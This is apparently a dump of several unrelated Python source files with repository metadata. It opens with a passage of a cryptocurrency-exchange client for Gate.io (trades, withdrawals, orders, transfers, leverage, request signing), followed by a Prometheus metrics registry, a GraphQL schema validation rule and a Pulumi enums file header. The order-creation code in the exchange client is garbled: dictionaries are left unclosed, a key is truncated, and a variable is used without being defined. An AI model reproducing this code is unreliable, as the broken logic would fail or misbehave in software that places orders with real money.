'privateSpotGetMyTrades', 'margin': 'privateSpotGetMyTrades', 'swap': 'privateFuturesGetSettleMyTrades', 'future': 'privateDeliveryGetSettleMyTrades', }) response = await getattr(self, method)(self.extend(request, params)) # # spot # # [ # { # "id": "2876130500", # "create_time": "1645464610", # "create_time_ms": "1645464610777.399200", # "currency_pair": "DOGE_USDT", # "side": "sell", # "role": "taker", # "amount": "10.97", # "price": "0.137384", # "order_id": "125924049993", # "fee": "0.00301420496", # "fee_currency": "USDT", # "point_fee": "0", # "gt_fee": "0" # } # ] # # perpetual swap # # [ # { # "size": -5, # "order_id": "130264979823", # "id": 26884791, # "role": "taker", # "create_time": 1645465199.5472, # "contract": "DOGE_USDT", # "price": "0.136888" # } # ] # # future # # [ # { # "id": 121234231, # "create_time": 1514764800.123, # "contract": "BTC_USDT", # "order_id": "21893289839", # "size": 100, # "price": "100.123", # "role": "taker" # } # ] # return self.parse_trades(response, market, since, limit) def parse_trade(self, trade, market=None): # # public # # { # "id": "1334253759", # "create_time": "1626342738", # "create_time_ms": "1626342738331.497000", # "currency_pair": "BTC_USDT", # "side": "sell", # "amount": "0.0022", # "price": "32452.16" # } # # public ws # # { # id: 221994511, # time: 1580311438.618647, # price: '9309', # amount: '0.0019', # type: 'sell' # } # # spot rest # # { # "id": "2876130500", # "create_time": "1645464610", # "create_time_ms": "1645464610777.399200", # "currency_pair": "DOGE_USDT", # "side": "sell", # "role": "taker", # "amount": "10.97", # "price": "0.137384", # "order_id": "125924049993", # "fee": "0.00301420496", # "fee_currency": "USDT", # "point_fee": "0","gt_fee":"0" # } # # perpetual swap rest # # { # "size": -5, # "order_id": "130264979823", # "id": 26884791, # "role": "taker", # "create_time": 1645465199.5472, # "contract": "DOGE_USDT", # "price": "0.136888" # } # # future rest # # { # "id": 121234231, # "create_time": 1514764800.123, # "contract": "BTC_USDT", # "order_id": "21893289839", # "size": 100, # "price": "100.123", # "role": "taker" # } # id = self.safe_string(trade, 'id') timestamp = self.safe_timestamp_2(trade, 'time', 'create_time') timestamp = self.safe_integer(trade, 'create_time_ms', timestamp) marketId = self.safe_string_2(trade, 'currency_pair', 'contract') symbol = self.safe_symbol(marketId, market) amountString = self.safe_string_2(trade, 'amount', 'size') priceString = self.safe_string(trade, 'price') contractSide = 'sell' if Precise.string_lt(amountString, '0') else 'buy' amountString = Precise.string_abs(amountString) side = self.safe_string_2(trade, 'side', 'type', contractSide) orderId = self.safe_string(trade, 'order_id') gtFee = self.safe_string(trade, 'gt_fee') feeCurrency = None feeCostString = None if gtFee == '0': feeCurrency = self.safe_string(trade, 'fee_currency') feeCostString = self.safe_string(trade, 'fee') else: feeCurrency = 'GT' feeCostString = gtFee fee = { 'cost': feeCostString, 'currency': feeCurrency, } takerOrMaker = self.safe_string(trade, 'role') return self.safe_trade({ 'info': trade, 'id': id, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'symbol': symbol, 'order': orderId, 'type': None, 'side': side, 'takerOrMaker': takerOrMaker, 'price': priceString, 'amount': amountString, 'cost': None, 'fee': fee, }, market) async def fetch_deposits(self, code=None, since=None, limit=None, params={}): await self.load_markets() request = {} currency = None if code is not None: currency = self.currency(code) request['currency'] = currency['id'] if limit is not None: request['limit'] = limit if since is not None: start = int(since / 1000) request['from'] = start request['to'] = self.sum(start, 30 * 24 * 60 * 60) response = await self.privateWalletGetDeposits(self.extend(request, params)) return self.parse_transactions(response, currency) async def fetch_withdrawals(self, code=None, since=None, limit=None, params={}): await self.load_markets() request = {} currency = None if code is not None: currency = self.currency(code) request['currency'] = currency['id'] if limit is not None: request['limit'] = limit if since is not None: start = int(since / 1000) request['from'] = start request['to'] = self.sum(start, 30 * 24 * 60 * 60) response = await self.privateWalletGetWithdrawals(self.extend(request, params)) return self.parse_transactions(response, currency) async def withdraw(self, code, amount, address, tag=None, params={}): tag, params = self.handle_withdraw_tag_and_params(tag, params) self.check_address(address) await self.load_markets() currency = self.currency(code) request = { 'currency': currency['id'], 'address': address, 'amount': self.currency_to_precision(code, amount), } if tag is not None: request['memo'] = tag networks = self.safe_value(self.options, 'networks', {}) network = self.safe_string_upper(params, 'network') # self line allows the user to specify either ERC20 or ETH network = self.safe_string_lower(networks, network, network) # handle ETH>ERC20 alias if network is not None: request['chain'] = network params = self.omit(params, 'network') response = await self.privateWithdrawalsPost(self.extend(request, params)) # # { # "id": "w13389675", # "currency": "USDT", # "amount": "50", # "address": "TUu2rLFrmzUodiWfYki7QCNtv1akL682p1", # "memo": null # } # return self.parse_transaction(response, currency) def parse_transaction_status(self, status): statuses = { 'PEND': 'pending', 'REQUEST': 'pending', 'DMOVE': 'pending', 'CANCEL': 'failed', 'DONE': 'ok', 'BCODE': 'ok', # GateCode withdrawal } return self.safe_string(statuses, status, status) def parse_transaction_type(self, type): types = { 'd': 'deposit', 'w': 'withdrawal', } return self.safe_string(types, type, type) def parse_transaction(self, transaction, currency=None): # # deposits # # { # "id": "d33361395", # "currency": "USDT_TRX", # "address": "TErdnxenuLtXfnMafLbfappYdHtnXQ5U4z", # "amount": "100", # "txid": "ae9374de34e558562fe18cbb1bf9ab4d9eb8aa7669d65541c9fa2a532c1474a0", # "timestamp": "1626345819", # "status": "DONE", # "memo": "" # } # # withdraw # # { # "id": "w13389675", # "currency": "USDT", # "amount": "50", # "address": "TUu2rLFrmzUodiWfYki7QCNtv1akL682p1", # "memo": null # } # id = self.safe_string(transaction, 'id') type = None amount = self.safe_string(transaction, 'amount') if id[0] == 'b': # GateCode handling type = 'deposit' if Precise.string_gt(amount, '0') else 'withdrawal' amount = Precise.string_abs(amount) elif id is not None: type = self.parse_transaction_type(id[0]) currencyId = self.safe_string(transaction, 'currency') code = self.safe_currency_code(currencyId) txid = self.safe_string(transaction, 'txid') rawStatus = self.safe_string(transaction, 'status') status = self.parse_transaction_status(rawStatus) address = self.safe_string(transaction, 'address') fee = self.safe_number(transaction, 'fee') tag = self.safe_string(transaction, 'memo') if tag == '': tag = None timestamp = self.safe_timestamp(transaction, 'timestamp') return { 'info': transaction, 'id': id, 'txid': txid, 'currency': code, 'amount': self.parse_number(amount), 'network': None, 'address': address, 'addressTo': None, 'addressFrom': None, 'tag': tag, 'tagTo': None, 'tagFrom': None, 'status': status, 'type': type, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'updated': None, 'fee': fee, } async def create_order(self, symbol, type, side, amount, price=None, params={}): await self.load_markets() market = self.market(symbol) contract = market['contract'] stopPrice = self.safe_number(params, 'stopPrice') methodTail = 'Orders' reduceOnly = self.safe_value_2(params, 'reduce_only', 'reduceOnly') defaultTimeInForce = self.safe_value_2(params, 'tif', 'time_in_force', 'gtc') timeInForce = self.safe_value(params, 'timeInForce', defaultTimeInForce) postOnly = False type, postOnly, timeInForce, params = self.is_post_only(type, timeInForce, None, params) params = self.omit(params, ['stopPrice', 'reduce_only', 'reduceOnly', 'tif', 'time_in_force', 'timeInForce']) if postOnly: timeInForce = 'poc' isLimitOrder = (type == 'limit') isMarketOrder = (type == 'market') if isLimitOrder and price is None: raise ArgumentsRequired(self.id + ' createOrder() requires a price argument for ' + type + ' orders') if contract: amountToPrecision = self.amount_to_precision(symbol, amount) signedAmount = Precise.string_neg(amountToPrecision) if (side == 'sell') else amountToPrecision amount = int(signedAmount) if isMarketOrder: timeInForce = 'ioc' price = 0 elif not isLimitOrder: # Gateio doesn't have market orders for spot raise InvalidOrder(self.id + ' createOrder() does not support ' + type + ' orders for ' + market['type'] + ' markets') request = None trigger = self.safe_value(params, 'trigger') if stopPrice is None and trigger is None: if contract: request = { 'contract': market['id'], 'size': amount, if timeInForce is not None: request['tif'] = timeInForce else: marginMode = None marginMode, params = self.get_margin_mode(False, params) request = { urrency_pair': market['id'], 'type': type, 'account': marginMode, 'side': side, 'amount': self.amount_to_precision(symbol, amount), 'price': self.price_to_precision(symbol, price), if len(clientOrderId) > 28: raise BadRequest(self.id + ' createOrder() clientOrderId or text param must be up to 28 characters') params = self.omit(params, ['text', 'clientOrderId']) if clientOrderId[0] != 't': clientOrderId = 't-' + clientOrderId request['text'] = clientOrderId else: if contract: rule = 1 if (side == 'buy') else 2 request = { 'initial': { 'contract': market['id'], 'size': amount, 'price': self.price_to_precision(symbol, price), 'trigger': { 'rule': rule, }, 'settle': market['settleId'], } expiration = self.safe_integer(params, 'expiration') if expiration is not None: request['trigger']['expiration'] = expiration params = self.omit(params, 'expiration') if reduceOnly is not None: request['initial']['reduce_only'] = reduceOnly if timeInForce is not None: request['initial']['tif'] = timeInForce else: options = self.safe_value(self.options, 'createOrder', {}) marginMode = None marginMode, params = self.get_margin_mode(True, params) defaultExpiration = self.safe_integer(options, 'expiration') expiration = self.safe_integer(params, 'expiration', defaultExpiration) rule = '>=' if (side == 'buy') else '<=' triggerPrice = self.safe_value(trigger, 'price', stopPrice) request = { 'trigger': { 'price': self.price_to_precision(symbol, triggerPrice), 'rule': rule, 'expiration': expiration, }, 'put': { 'type': type, 'side': side, 'price': self.price_to_precision(symbol, price), 'amount': self.amount_to_precision(symbol, amount), 'account': marginMode, 'time_in_force': timeInForce, }, 'market': market['id'], } methodTail = 'PriceOrders' method = self.get_supported_mapping(market['type'], { 'spot': 'privateSpotPost' + methodTail, 'margin': 'privateSpotPost' + methodTail, 'swap': 'privateFuturesPostSettle' + methodTail, 'future': 'privateDeliveryPostSettle' + methodTail, }) response = await getattr(self, method)(self.deep_extend(request, params)) return self.parse_order(response, market) def parse_order_status(self, status): statuses = { '_new': 'open', 'filled': 'closed', 'cancelled': 'canceled', 'liquidated': 'closed', } return self.safe_string(statuses, status, status) def parse_order(self, order, market=None): put = self.safe_value_2(order, 'put', 'initial') trigger = self.safe_value(order, 'trigger') contract = self.safe_string(put, 'contract') type = self.safe_string(put, 'type') timeInForce = self.safe_string_upper_2(put, 'time_in_force', 'tif') amount = self.safe_string_2(put, 'amount', 'size') side = self.safe_string(put, 'side') price = self.safe_string(put, 'price') contract = self.safe_string(order, 'contract', contract) type = self.safe_string(order, 'type', type) timeInForce = self.safe_string_upper_2(order, 'time_in_force', 'tif', timeInForce) if timeInForce == 'POC': timeInForce = 'PO' postOnly = (timeInForce == 'PO') amount = self.safe_string_2(order, 'amount', 'size', amount) side = self.safe_string(order, 'side', side) price = self.safe_string(order, 'price', price) remaining = self.safe_string(order, 'left') filled = Precise.string_sub(amount, remaining) cost = self.safe_string(order, 'filled_total') rawStatus = None average = None if put: remaining = amount filled = '0' cost = '0' if contract: isMarketOrder = Precise.string_equals(price, '0') and (timeInForce == 'IOC') type = 'market' if isMarketOrder else 'limit' side = 'buy' if Precise.string_gt(amount, '0') else 'sell' rawStatus = self.safe_string(order, 'finish_as', 'open') average = self.safe_number(order, 'fill_price') else: rawStatus = self.safe_string(order, 'status') timestamp = self.safe_integer(order, 'create_time_ms') if timestamp is None: timestamp = self.safe_timestamp_2(order, 'create_time', 'ctime') lastTradeTimestamp = self.safe_integer(order, 'update_time_ms') if lastTradeTimestamp is None: lastTradeTimestamp = self.safe_timestamp_2(order, 'update_time', 'finish_time') exchangeSymbol = self.safe_string_2(order, 'currency_pair', 'market', contract) fees = [] gtFee = self.safe_string(order, 'gt_fee') if gtFee: fees.append({ 'currency': 'GT', 'cost': gtFee, }) fee = self.safe_string(order, 'fee') if fee: fees.append({ 'currency': self.safe_currency_code(self.safe_string(order, 'fee_currency')), 'cost': fee, }) rebate = self.safe_string(order, 'rebated_fee') if rebate: fees.append({ 'currency': self.safe_currency_code(self.safe_string(order, 'rebated_fee_currency')), 'cost': Precise.string_neg(rebate), }) numFeeCurrencies = len(fees) multipleFeeCurrencies = numFeeCurrencies > 1 status = self.parse_order_status(rawStatus) return self.safe_order({ 'id': self.safe_string(order, 'id'), 'clientOrderId': self.safe_string(order, 'text'), 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'lastTradeTimestamp': lastTradeTimestamp, 'status': status, 'symbol': self.safe_symbol(exchangeSymbol), 'type': type, 'timeInForce': timeInForce, 'postOnly': postOnly, 'side': side, 'price': self.parse_number(price), 'stopPrice': self.safe_number(trigger, 'price'), 'average': average, 'amount': self.parse_number(Precise.string_abs(amount)), 'cost': Precise.string_abs(cost), 'filled': self.parse_number(Precise.string_abs(filled)), 'remaining': self.parse_number(Precise.string_abs(remaining)), 'fee': None if multipleFeeCurrencies else self.safe_value(fees, 0), 'fees': fees if multipleFeeCurrencies else [], 'trades': None, 'info': order, }, market) async def create_reduce_only_order(self, symbol, type, side, amount, price=None, params={}): request = { 'reduceOnly': True, } return await self.create_order(symbol, type, side, amount, price, self.extend(request, params)) async def fetch_order(self, id, symbol=None, params={}): await self.load_markets() stop = self.safe_value_2(params, 'is_stop_order', 'stop', False) params = self.omit(params, ['is_stop_order', 'stop']) clientOrderId = self.safe_string_2(params, 'text', 'clientOrderId') orderId = id if clientOrderId is not None: params = self.omit(params, ['text', 'clientOrderId']) if clientOrderId[0] != 't': clientOrderId = 't-' + clientOrderId orderId = clientOrderId market = None if (symbol is None) else self.market(symbol) type, query = self.handle_market_type_and_params('fetchOrder', market, params) contract = (type == 'swap') or (type == 'future') request, requestParams = self.prepare_request(market, type, query) if contract else self.spot_order_prepare_request(market, stop, query) request['order_id'] = orderId methodMiddle = 'PriceOrders' if stop else 'Orders' method = self.get_supported_mapping(type, { 'spot': 'privateSpotGet' + methodMiddle + 'OrderId', 'margin': 'privateSpotGet' + methodMiddle + 'OrderId', 'swap': 'privateFuturesGetSettle' + methodMiddle + 'OrderId', 'future': 'privateDeliveryGetSettle' + methodMiddle + 'OrderId', }) response = await getattr(self, method)(self.extend(request, requestParams)) return self.parse_order(response, market) async def fetch_open_orders(self, symbol=None, since=None, limit=None, params={}): return await self.fetch_orders_by_status('open', symbol, since, limit, params) async def fetch_closed_orders(self, symbol=None, since=None, limit=None, params={}): return await self.fetch_orders_by_status('finished', symbol, since, limit, params) async def fetch_orders_by_status(self, status, symbol=None, since=None, limit=None, params={}): await self.load_markets() market = None if (symbol is None) else self.market(symbol) stop = self.safe_value(params, 'stop') params = self.omit(params, 'stop') type, query = self.handle_market_type_and_params('fetchOrdersByStatus', market, params) spot = (type == 'spot') or (type == 'margin') request, requestParams = self.multi_order_spot_prepare_request(market, stop, query) if spot else self.prepare_request(market, type, query) if status == 'closed': status = 'finished' request['status'] = status if limit is not None: request['limit'] = limit if since is not None and spot: request['from'] = int(since / 1000) methodTail = 'PriceOrders' if stop else 'Orders' openSpotOrders = spot and (status == 'open') and not stop if openSpotOrders: methodTail = 'OpenOrders' method = self.get_supported_mapping(type, { 'spot': 'privateSpotGet' + methodTail, 'margin': 'privateSpotGet' + methodTail, 'swap': 'privateFuturesGetSettle' + methodTail, 'future': 'privateDeliveryGetSettle' + methodTail, }) response = await getattr(self, method)(self.extend(request, requestParams)) result = response if openSpotOrders: result = [] for i in range(0, len(response)): orders = self.safe_value(response[i], 'orders') result = self.array_concat(result, orders) orders = self.parse_orders(result, market, since, limit) return self.filter_by_symbol_since_limit(orders, symbol, since, limit) async def cancel_order(self, id, symbol=None, params={}): await self.load_markets() market = None if (symbol is None) else self.market(symbol) stop = self.safe_value_2(params, 'is_stop_order', 'stop', False) params = self.omit(params, ['is_stop_order', 'stop']) type, query = self.handle_market_type_and_params('cancelOrder', market, params) request, requestParams = self.spot_order_prepare_request(market, stop, query) if (type == 'spot' or type == 'margin') else self.prepare_request(market, type, query) request['order_id'] = id pathMiddle = 'Price' if stop else '' method = self.get_supported_mapping(type, { 'spot': 'privateSpotDelete' + pathMiddle + 'OrdersOrderId', 'margin': 'privateSpotDelete' + pathMiddle + 'OrdersOrderId', 'swap': 'privateFuturesDeleteSettle' + pathMiddle + 'OrdersOrderId', 'future': 'privateDeliveryDeleteSettle' + pathMiddle + 'OrdersOrderId', }) response = await getattr(self, method)(self.extend(request, requestParams)) return self.parse_order(response, market) async def cancel_all_orders(self, symbol=None, params={}): await self.load_markets() market = None if (symbol is None) else self.market(symbol) stop = self.safe_value(params, 'stop') params = self.omit(params, 'stop') type, query = self.handle_market_type_and_params('cancelAllOrders', market, params) request, requestParams = self.multi_order_spot_prepare_request(market, stop, query) if (type == 'spot') else self.prepare_request(market, type, query) methodTail = 'PriceOrders' if stop else 'Orders' method = self.get_supported_mapping(type, { 'spot': 'privateSpotDelete' + methodTail, 'margin': 'privateSpotDelete' + methodTail, 'swap': 'privateFuturesDeleteSettle' + methodTail, 'future': 'privateDeliveryDeleteSettle' + methodTail, }) response = await getattr(self, method)(self.extend(request, requestParams)) return self.parse_orders(response, market) async def transfer(self, code, amount, fromAccount, toAccount, params={}): await self.load_markets() currency = self.currency(code) fromId = self.parse_account(fromAccount) toId = self.parse_account(toAccount) truncated = self.currency_to_precision(code, amount) request = { 'currency': currency['id'], 'amount': truncated, } if not (fromId in self.options['accountsByType']): request['from'] = 'margin' request['currency_pair'] = fromId else: request['from'] = fromId if not (toId in self.options['accountsByType']): request['to'] = 'margin' request['currency_pair'] = toId else: request['to'] = toId if fromId == 'margin' or toId == 'margin': symbol = self.safe_string_2(params, 'symbol', 'currency_pair') if symbol is None: raise ArgumentsRequired(self.id + ' transfer requires params["symbol"] for isolated margin transfers') market = self.market(symbol) request['currency_pair'] = market['id'] params = self.omit(params, 'symbol') if (toId == 'futures') or (toId == 'delivery') or (fromId == 'futures') or (fromId == 'delivery'): request['settle'] = currency['lowerCaseId'] response = await self.privateWalletPostTransfers(self.extend(request, params)) transfer = self.parse_transfer(response, currency) return self.extend(transfer, { 'fromAccount': fromAccount, 'toAccount': toAccount, 'amount': self.parse_number(truncated), }) def parse_account(self, account): accountsByType = self.options['accountsByType'] if account in accountsByType: return accountsByType[account] elif account in self.markets: market = self.market(account) return market['id'] else: keys = list(accountsByType.keys()) raise ExchangeError(self.id + ' accounts must be one of ' + ', '.join(keys) + ' or an isolated margin symbol') def parse_transfer(self, transfer, currency=None): timestamp = self.milliseconds() return { 'id': None, 'timestamp': timestamp, 'datetime': self.iso8601(timestamp), 'currency': self.safe_currency_code(None, currency), 'amount': None, 'fromAccount': None, 'toAccount': None, 'status': None, 'info': transfer, } async def set_leverage(self, leverage, symbol=None, params={}): if symbol is None: raise ArgumentsRequired(self.id + ' setLeverage() requires a symbol argument') if (leverage < 0) or (leverage > 100): raise BadRequest(self.id + ' setLeverage() leverage should be between 1 and 100') await self.load_markets() market = self.market(symbol) method = self.get_supported_mapping(market['type'], { 'swap': 'privateFuturesPostSettlePositionsContractLeverage', 'future': 'privateDeliveryPostSettlePositionsContractLeverage', }) request, query = self.prepare_request(market, None, params) defaultMarginMode = self.safe_string_2(self.options, 'marginMode', 'defaultMarginMode') crossLeverageLimit = self.safe_string(query, 'cross_leverage_limit') marginMode = self.safe_string(query, 'marginMode', defaultMarginMode) if crossLeverageLimit is not None: marginMode = 'cross' leverage = crossLeverageLimit if marginMode == 'cross' or marginMode == 'cross_margin': request['query'] = { 'cross_leverage_limit': str(leverage), 'leverage': '0', } else: request['query'] = { 'leverage': str(leverage), } response = await getattr(self, method)(self.extend(request, query)) return response def parse_position(self, position, market=None): contract = self.safe_string(position, 'contract') market = self.safe_market(contract, market) size = self.safe_string(position, 'size') side = None if Precise.string_gt(size, '0'): side = 'long' elif Precise.string_lt(size, '0'): side = 'short' maintenanceRate = self.safe_string(position, 'maintenance_rate') notional = self.safe_string(position, 'value') leverage = self.safe_string(position, 'leverage') marginMode = None if leverage == '0': marginMode = 'cross' else: marginMode = 'isolated' unrealisedPnl = self.safe_string(position, 'unrealised_pnl') takerFee = '0.00075' feePaid = Precise.string_mul(takerFee, notional) initialMarginString = Precise.string_add(Precise.string_div(notional, leverage), feePaid) percentage = Precise.string_mul(Precise.string_div(unrealisedPnl, initialMarginString), '100') return { 'info': position, 'symbol': self.safe_string(market, 'symbol'), 'timestamp': None, 'datetime': None, 'initialMargin': self.parse_number(initialMarginString), 'initialMarginPercentage': self.parse_number(Precise.string_div(initialMarginString, notional)), 'maintenanceMargin': self.parse_number(Precise.string_mul(maintenanceRate, notional)), 'maintenanceMarginPercentage': self.parse_number(maintenanceRate), 'entryPrice': self.safe_number(position, 'entry_price'), 'notional': self.parse_number(notional), 'leverage': self.safe_number(position, 'leverage'), 'unrealizedPnl': self.parse_number(unrealisedPnl), 'contracts': self.parse_number(Precise.string_abs(size)), 'contractSize': self.safe_value(market, 'contractSize'), 'marginRatio': None, 'liquidationPrice': self.safe_number(position, 'liq_price'), 'markPrice': self.safe_number(position, 'mark_price'), 'collateral': self.safe_number(position, 'margin'), 'marginMode': marginMode, 'marginType': marginMode, 'side': side, 'percentage': self.parse_number(percentage), } def parse_positions(self, positions): result = [] for i in range(0, len(positions)): result.append(self.parse_position(positions[i])) return result async def fetch_positions(self, symbols=None, params={}): await self.load_markets() type, query = self.handle_market_type_and_params('fetchPositions', None, params) request, requestParams = self.prepare_request(None, type, query) method = self.get_supported_mapping(type, { 'swap': 'privateFuturesGetSettlePositions', 'future': 'privateDeliveryGetSettlePositions', }) response = await getattr(self, method)(self.extend(request, requestParams)) result = self.parse_positions(response) return self.filter_by_array(result, 'symbol', symbols, False) async def fetch_leverage_tiers(self, symbols=None, params={}): await self.load_markets() type, query = self.handle_market_type_and_params('fetchLeverageTiers', None, params) request, requestParams = self.prepare_request(None, type, query) if type != 'future' and type != 'swap': raise BadRequest(self.id + ' fetchLeverageTiers only supports swap and future') method = self.get_supported_mapping(type, { 'swap': 'publicFuturesGetSettleContracts', 'future': 'publicDeliveryGetSettleContracts', }) response = await getattr(self, method)(self.extend(request, requestParams)) return self.parse_leverage_tiers(response, symbols, 'name') def parse_market_leverage_tiers(self, info, market=None): maintenanceMarginUnit = self.safe_string(info, 'maintenance_rate') leverageMax = self.safe_string(info, 'leverage_max') riskLimitStep = self.safe_string(info, 'risk_limit_step') riskLimitMax = self.safe_string(info, 'risk_limit_max') initialMarginUnit = Precise.string_div('1', leverageMax) maintenanceMarginRate = maintenanceMarginUnit initialMarginRatio = initialMarginUnit floor = '0' tiers = [] while(Precise.string_lt(floor, riskLimitMax)): cap = Precise.string_add(floor, riskLimitStep) tiers.append({ 'tier': self.parse_number(Precise.string_div(cap, riskLimitStep)), 'currency': self.safe_string(market, 'settle'), 'minNotional': self.parse_number(floor), 'maxNotional': self.parse_number(cap), 'maintenanceMarginRate': self.parse_number(maintenanceMarginRate), 'maxLeverage': self.parse_number(Precise.string_div('1', initialMarginRatio)), 'info': info, }) maintenanceMarginRate = Precise.string_add(maintenanceMarginRate, maintenanceMarginUnit) initialMarginRatio = Precise.string_add(initialMarginRatio, initialMarginUnit) floor = cap return tiers def sign(self, path, api=[], method='GET', params={}, headers=None, body=None): authentication = api[0] type = api[1] query = self.omit(params, self.extract_params(path)) path = self.implode_params(path, params) endPart = '' if (path == '') else ('/' + path) entirePath = '/' + type + endPart url = self.urls['api'][authentication][type] if url is None: raise NotSupported(self.id + ' does not have a testnet for the ' + type + ' market type.') url += entirePath if authentication == 'public': if query: url += '?' + self.urlencode(query) else: queryString = '' if (method == 'GET') or (method == 'DELETE'): if query: queryString = self.urlencode(query) url += '?' + queryString else: urlQueryParams = self.safe_value(query, 'query', {}) if urlQueryParams: queryString = self.urlencode(urlQueryParams) url += '?' + queryString query = self.omit(query, 'query') body = self.json(query) bodyPayload = '' if (body is None) else body bodySignature = self.hash(self.encode(bodyPayload), 'sha512') timestamp = self.seconds() timestampString = str(timestamp) signaturePath = '/api/' + self.version + entirePath payloadArray = [method.upper(), signaturePath, queryString, bodySignature, timestampString] payload = "\n".join(payloadArray) signature = self.hmac(self.encode(payload), self.encode(self.secret), hashlib.sha512) headers = { 'KEY': self.apiKey, 'Timestamp': timestampString, 'SIGN': signature, 'Content-Type': 'application/json', } return {'url': url, 'method': method, 'body': body, 'headers': headers} def handle_errors(self, code, reason, url, method, headers, body, response, requestHeaders, requestBody): if response is None: return label = self.safe_string(response, 'label') if label is not None: feedback = self.id + ' ' + body self.throw_exactly_matched_exception(self.exceptions['exact'], label, feedback) raise ExchangeError(feedback)

true

f7015b2afba0129d69363926d5d8ce7086ff8751

715

py

Python

asyncworker/metrics/registry.py

async-worker/async-worker

9025d8f14d3fe6e1a2b1373c84abf41de575b359

[ "MIT" ]

7

2021-05-02T19:26:14.000Z

2022-02-08T15:12:10.000Z

asyncworker/metrics/registry.py

async-worker/async-worker

9025d8f14d3fe6e1a2b1373c84abf41de575b359

[ "MIT" ]

10

2021-05-02T15:37:55.000Z

2021-09-11T10:58:32.000Z

asyncworker/metrics/registry.py

async-worker/async-worker

9025d8f14d3fe6e1a2b1373c84abf41de575b359

[ "MIT" ]

null

from prometheus_client import CollectorRegistry from asyncworker.conf import settings from asyncworker.metrics.collectors.gc import GCCollector from asyncworker.metrics.collectors.platform import PlatformCollector from asyncworker.metrics.collectors.process import ProcessCollector NAMESPACE = ( f"{settings.METRICS_NAMESPACE}_{settings.METRICS_APPPREFIX}" if settings.METRICS_APPPREFIX else f"{settings.METRICS_NAMESPACE}" ) REGISTRY = CollectorRegistry(auto_describe=True) PLATFORM_COLLECTOR = PlatformCollector(registry=REGISTRY, namespace=NAMESPACE) PROCESS_COLLECTOR = ProcessCollector(namespace=NAMESPACE, registry=REGISTRY) GC_COLLECTOR = GCCollector(registry=REGISTRY, namespace=NAMESPACE)

35.75

78

0.846154

from prometheus_client import CollectorRegistry from asyncworker.conf import settings from asyncworker.metrics.collectors.gc import GCCollector from asyncworker.metrics.collectors.platform import PlatformCollector from asyncworker.metrics.collectors.process import ProcessCollector NAMESPACE = ( f"{settings.METRICS_NAMESPACE}_{settings.METRICS_APPPREFIX}" if settings.METRICS_APPPREFIX else f"{settings.METRICS_NAMESPACE}" ) REGISTRY = CollectorRegistry(auto_describe=True) PLATFORM_COLLECTOR = PlatformCollector(registry=REGISTRY, namespace=NAMESPACE) PROCESS_COLLECTOR = ProcessCollector(namespace=NAMESPACE, registry=REGISTRY) GC_COLLECTOR = GCCollector(registry=REGISTRY, namespace=NAMESPACE)

true

f7015b5c72fd870e0de08b32abce1f336bb097ab

2,324

py

Python

src/graphql/validation/rules/unique_operation_types.py

hspedro/graphql-core

2b27e641d51789f532f989d3e125e04b33d24564

[ "MIT" ]

null

src/graphql/validation/rules/unique_operation_types.py

hspedro/graphql-core

2b27e641d51789f532f989d3e125e04b33d24564

[ "MIT" ]

null

src/graphql/validation/rules/unique_operation_types.py

hspedro/graphql-core

2b27e641d51789f532f989d3e125e04b33d24564

[ "MIT" ]

null

from typing import Dict, Optional, Union from ...error import GraphQLError from ...language import ( OperationTypeDefinitionNode, OperationType, SchemaDefinitionNode, SchemaExtensionNode, ) from ...type import GraphQLObjectType from . import SDLValidationContext, SDLValidationRule __all__ = ["UniqueOperationTypesRule"] class UniqueOperationTypesRule(SDLValidationRule): """Unique operation types A GraphQL document is only valid if it has only one type per operation. """ def __init__(self, context: SDLValidationContext): super().__init__(context) schema = context.schema self.defined_operation_types: Dict[ OperationType, OperationTypeDefinitionNode ] = {} self.existing_operation_types: Dict[ OperationType, Optional[GraphQLObjectType] ] = ( { OperationType.QUERY: schema.query_type, OperationType.MUTATION: schema.mutation_type, OperationType.SUBSCRIPTION: schema.subscription_type, } if schema else {} ) self.schema = schema def check_operation_types( self, node: Union[SchemaDefinitionNode, SchemaExtensionNode], *_args ): for operation_type in node.operation_types or []: operation = operation_type.operation already_defined_operation_type = self.defined_operation_types.get(operation) if self.existing_operation_types.get(operation): self.report_error( GraphQLError( f"Type for {operation.value} already defined in the schema." " It cannot be redefined.", operation_type, ) ) elif already_defined_operation_type: self.report_error( GraphQLError( f"There can be only one {operation.value} type in schema.", [already_defined_operation_type, operation_type], ) ) else: self.defined_operation_types[operation] = operation_type return self.SKIP enter_schema_definition = enter_schema_extension = check_operation_types

34.176471

88

0.609725

from typing import Dict, Optional, Union from ...error import GraphQLError from ...language import ( OperationTypeDefinitionNode, OperationType, SchemaDefinitionNode, SchemaExtensionNode, ) from ...type import GraphQLObjectType from . import SDLValidationContext, SDLValidationRule __all__ = ["UniqueOperationTypesRule"] class UniqueOperationTypesRule(SDLValidationRule): def __init__(self, context: SDLValidationContext): super().__init__(context) schema = context.schema self.defined_operation_types: Dict[ OperationType, OperationTypeDefinitionNode ] = {} self.existing_operation_types: Dict[ OperationType, Optional[GraphQLObjectType] ] = ( { OperationType.QUERY: schema.query_type, OperationType.MUTATION: schema.mutation_type, OperationType.SUBSCRIPTION: schema.subscription_type, } if schema else {} ) self.schema = schema def check_operation_types( self, node: Union[SchemaDefinitionNode, SchemaExtensionNode], *_args ): for operation_type in node.operation_types or []: operation = operation_type.operation already_defined_operation_type = self.defined_operation_types.get(operation) if self.existing_operation_types.get(operation): self.report_error( GraphQLError( f"Type for {operation.value} already defined in the schema." " It cannot be redefined.", operation_type, ) ) elif already_defined_operation_type: self.report_error( GraphQLError( f"There can be only one {operation.value} type in schema.", [already_defined_operation_type, operation_type], ) ) else: self.defined_operation_types[operation] = operation_type return self.SKIP enter_schema_definition = enter_schema_extension = check_operation_types

true

f7015b8ac1c781333bd97a91af3d7a190b0a0877

754

py

Python

sdk/python/pulumi_azure_native/costmanagement/v20200301preview/_enums.py

pulumi-bot/pulumi-azure-native

f7b9490b5211544318e455e5cceafe47b628e12c

[ "Apache-2.0" ]

31

2020-09-21T09:41:01.000Z

2021-02-26T13:21:59.000Z

sdk/python/pulumi_azure_native/costmanagement/v20200301preview/_enums.py

pulumi-bot/pulumi-azure-native

f7b9490b5211544318e455e5cceafe47b628e12c

[ "Apache-2.0" ]

231

2020-09-21T09:38:45.000Z

2021-03-01T11:16:03.000Z

sdk/python/pulumi_azure_native/costmanagement/v20200301preview/_enums.py

pulumi-bot/pulumi-azure-native

f7b9490b5211544318e455e5cceafe47b628e12c

